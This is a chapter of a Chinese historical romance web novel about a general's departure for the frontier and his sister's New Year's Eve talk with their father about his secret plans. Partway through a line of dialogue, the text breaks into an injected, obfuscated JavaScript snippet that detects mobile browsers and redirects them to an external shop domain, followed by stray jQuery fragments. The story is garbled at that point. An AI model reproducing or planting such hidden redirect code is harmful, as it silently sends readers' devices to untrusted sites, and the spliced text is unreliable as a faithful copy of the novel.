腊月下旬，年关将近，京城中家家户户门前都少不了灯笼春联装。大红赤色点缀在这久久不得消融的雪白之中，隐隐似是无声的对抗，看在百姓眼中，不逊于春日之暖。


    乌荼之乱与接壤大庸处的云州之变，这两日已渐渐传开了，然而在恐慌冒头之前，镇北大将军远赴北疆领兵平乱的消息率先将百姓们的心安定了下来。


    短短时日内，三万大军便已整军完毕。城门内百姓们忙活着度年关，城门外众将士等候着赴边疆，皆是为着此世安宁。


    一种心念，两方光景。


    李乘凌出征，太子亲临，代皇帝行犒军饯别之仪，靖安侯亦携嫡女李盈竹相送。


    尚在几年前，站在李乘凌那个位置的还是他李鸣安，如今两相对换，离家征战了大半辈子的人竟生出了一丝普通父亲的惜别之心。


    辞别太子，李乘凌望向在一旁等候已久的侯府一行人。皇帝身边的大太监亦在此时上到前来，欲将宣读前两日李乘凌于皇帝面前求来的恩典。


    “将军家眷，可皆在此处了？”宣读之前，大太监例行询问。


    李盈竹闻言看向靖安侯，后者则欲言又止。


    辞旧迎新之际阖家团圆之时，禁军的担子比之以往更是繁重了，女骑营担负着守卫京城之责，平日不是操演便是巡卫，自然也不得休憩。


    前两日参加李乘凌加冠礼，已是李星容预支了休沐日方可全天相陪。


    只不过今日特殊，李星容缺席个一时半刻，算不得什么。昨日约好了此时送别的，也不知是否被公务绊住了。


    靖安侯这样想着，转头看了一眼城门处。


    没有人来。


    大太监见状，又看向了李乘凌。


    李乘凌不语。隔着厚重的盔甲，他习惯性抚上胸口处，往日佩戴玉坠的地方。


    有所阻隔，触碰不及，但李乘凌知道，她的牵挂与心意就静静安放在那里。


    在大太监询问的目光中，李乘凌缓缓点了点头。


    “劳烦公公了。”他道。


    大太监便也不再等待，捧出圣旨，面向靖安侯一行，“时辰到了，还请侯爷行跪礼接旨。”


    正在此时，马啸声至，蹄踏飞快，扬起一阵尘灰。


    同样是一身军装的少年女郎一路奔至城门，勒马飞身而下，在众人注视之中，踏着扬尘匆匆赶来。


    “抱歉，军务缠身，我来迟了。”李星容面上不显焦灼，话语间却还微微喘着气。


    冬尚深春未至，李乘凌看着她额间细细密密的汗，说不清心中是何滋味。


    看不见她，自然失落，可若看见了她，恐怕不舍更甚。


    李乘凌不由得上前一步，拂开她那被汗珠粘黏在额间的发。


    “不迟，刚刚好。”李乘凌说着，轻轻地笑了。


    大太监看在眼中，也笑了一笑，“既然李校尉也赶上了，一齐听旨罢。”


    李星容闻言微诧。李乘凌入宫时一切当已安排妥帖，皇帝还别有旨意么？


    谢瑜离席之前，曾提到李乘凌此次面圣必会得一道恩典。尽管谢瑜满口“婚配”“哥嫂”之胡言，李星容并未放在心上，也明白李乘凌不会鲁莽到当着皇帝的面求娶自己名义上的妹妹，然而前功与今务相叠，又于加冠之日、年关之际受命出征，皇帝会赏李乘凌恩典也是情理之中。


    可看这架势，怎么像是在等李家人来齐了才好宣旨？


    心中如此疑惑着，李星容还是随靖安侯李乘凌等一道，在圣旨前跪了下来。


    “李氏一族，满门忠勇，唯余独子，不舍驱驰，朕夙感念。今大将军李乘凌临危受命解国之患，丰功在前，伟绩在后。此去前路迢迢归期难定，卿不以私利相求，反以家眷为忧，朕心甚慰。念尔父子情深兄妹义重，在京家眷自当庇护，一应俸给，不得延误；或犯常刑，有司不得加责。


    “卿当勠力国是，毋以家私为念。盼早日凯旋，朕自当加恩，厚赏三军。”


    李星容垂首，一字一句听在耳中。分明是对整个李家天大的恩赏，不知为何，李星容心底却愈发沉重起来。


    李乘凌求的，竟是这个吗？


    为何是在此时？是恩宠累积到此时方可获赏，还是他正需要于此时讨得此赏？


    那些李乘凌不让她去触碰的秘辛，李星容虽自查无果，却并未就此忘却。


    这次他离开，恐怕这大庸京城的确会与以往不同了。前夜他说的那些吐露心声的话，恐怕也不只是为了惹她怜惜而已。


    -


    “统领，近日府中好得很，除了上门送年货的小厮商贩，再无旁人出入了。”卓玉如此对李星容汇报着，再次提出回女骑营随侍她的请求，“谁人逢年过节不胖个两三斤，可我看统领短短几日都消瘦了，卓云一个人哪行呢？还是让卓玉回去一起伺候吧。”


    李星容沉默片刻，道：“继续留在府中吧。”


    “遵命……”卓玉观她神色，哪怕并不多显露在外，却仍叫卓玉看出了闷闷不乐。


    “可统领究竟在担心些什么呢？这些天心神不宁的。圣上不是亲赐了侯府恩典么，有谁人敢来叨扰？无论如何，还有侯爷在府中呢，统领莫不是忘了侯爷当年有多威风，哪怕过了花甲之年，也远胜这世间多数壮年凡夫呢。”


    李星容一时未语。追根究底，她也不知自己在忧心些什么。


    “还是说……”卓玉话音一转，语气轻佻了些许，“统领其实是想世——不对，现在也该称侯爷了——统领是不是想他了，所以才消瘦的？”


    李星容因她这话心中微惊。忽地想起许久前那夜，李乘凌醉倒在她卧房中后，慌乱之间她将卓云唤来了。


    卓云心思细腻，恐怕对于二人间的微妙暗涌早有所察觉。


    可她并非嘴碎之人，应当不会说与旁人听的，哪怕是对卓玉。


    见李星容久久不语神色不明，卓玉先行心虚下来，“统领恕罪，是属下多嘴了。”


    “无妨。只是……”李星容道，“这种话，以后还是不要说了。”


    以往也不少提起，说者听者谁都不曾多想。只不过如今不同了，再说这样的话，会引人误会的。


    “明白明白，是属下嘴碎，明知道小姐与小侯爷兄妹情深，还哪壶不开提哪壶……”卓玉真心实意道。


    好的。看来她什么也不知道。


    -


    转眼除夕夜，李星容忙完一日的巡防，至晚方归。为了等来她一同团圆，靖安侯让人将晚膳热了好几遍。


    这几年的除夕夜，餐桌边总是只有靖安侯与李星容父女二人，本以为今年添得兄妹两个，会热闹许多，谁承想这团年饭仍是没能等到李乘凌。


    好在李盈竹是真真切切地回来了。虽说也不是个叽叽喳喳爱说话的，然而算起来，今年这兄妹三人里还是她这唯一一个新生女儿陪靖安侯最多。


    “明日初一，姐姐得闲么？”不算热闹的餐桌上，李盈竹主动问起李星容。


    李星容从饭碗中抬起头，待咽下嘴里这口，方道：“嗯，初一休沐一日。”


    李盈竹真心感到诧异：“只一日？这么辛苦。”


    李星容点点头，“女骑建营第一年


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17431013|190354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    百事待兴，会忙一些。”


    靖安侯认可道：“好孩子，都是一心报国的好孩子。”


    说完意识到何处不太对，立马又将一碗水端平，转头对李盈竹道：“乘凌芒儿兄妹俩走武，盈竹走文，还能时不时陪在为父身边，都是好孩子。为父真是有福了。”


    李盈竹听了撇了撇嘴，转眼又忍俊不禁。


    李星容则再次点点头以示认同。


    玩笑过后，李盈竹又稍正了神色：“本想着邀姐姐一同去祈福的，现在看来，一日怕是太仓促了些。”


    “祈福？”李星容暂停了进食。


    “是啊。兄长出征也有十日了，云州去京城不远，想来也该到了。”李盈竹道，“趁着年节，我便琢磨着去禅音寺为他祈福禳灾。到底是血脉相连的兄长，他若安好，家宅上下也安宁不是么。”


    听到这里，李星容不由看了一眼靖安侯。


    李盈竹对李乘凌的真实身世必然一无所知，还以为他真是自己同父异母的亲兄长。倒是李星容，在乌荼走这一遭，对当年之事有了多少了解，李乘凌都悉数告知靖安侯了么？


    靖安侯不曾主动提起，李星容便也不去问，几个仅剩的知情人之间保持着微妙的默契。


    “我和你一起。”李星容复而看向李盈竹，“一日来回，也够了。”


    “嗯。”靖安侯也赞同，“有芒儿陪着，为父也放心。”


    “爹爹不一同去么？”李盈竹道。


    “初一宫中例行赐菜，为父总要留下的。”靖安侯笑着道，“何况爹爹这把老骨头，岂不扰了你们姐妹二人聊些体己话？”


    “爹爹可不老，那日饯别，我看不少将士披上铠甲都不及爹爹魁梧呢。”


    “哈哈哈哈，这一年在宫里都学了些什么？竟然也学来油嘴滑舌这一套……”


    -


    旧载去，新岁来，外间传来阵阵烟花炸空声，李盈竹第一次见京中烟花，率先跑去了院中。


    李星容没有动。爆破声中，她默默转向靖安侯。


    方才她便看出，他还有话要说。


    “芒儿。”靖安侯提高声音道，“把卓玉叫回身边去吧。明日去空蒙山，多带几个人。”


    看来他是什么都知道了。


    李星容没有说好或不好，只是道：“爹，他走之前，是不是与您说了什么？”


    靖安侯沉默稍许，方开口道：“芒儿，你不要怪爹瞒着你。乘凌所想，亦是我所愿。”


    “所以他的确说了什么。”


    “芒儿。”靖安侯叹了口气道，“你是爹看着长大的，从那么丁点的一个小小人儿，长到如今这般敢为人先、有勇有谋的好将才。为父很是欣慰，可为父也的确不愿再看你们任何一人步入那人后尘。”


    烟花声时强时弱，靖安侯的话亦随之忽隐忽现。


    “当年没能保下那人，为父愧疚至今，是我无能。如今乘凌做了当年为父未敢做的事，为父不会、也不愿再劝他——可你和盈竹不一样。”靖安侯看着并非自己骨血的孩子，语重心长，“你选择从军，甚至亲近皇后，为父都不阻拦，然而乘凌要走的路，毕竟千难万难。”


    “女儿知道。”李星容应道，“他所要对抗的，远远不止兴国公党羽这样简单。是这天底下最尊贵的人，难以容许他撕开真相。”


    “既然都明白，就莫要再过问了。乘凌他没得选，可芒儿你还有。”靖安侯道，“他辛辛苦苦做下这许多，不正是为了保全你我？”


    “女儿知道，女儿明白。所以父亲告诉女儿，如何让他不那么辛苦？”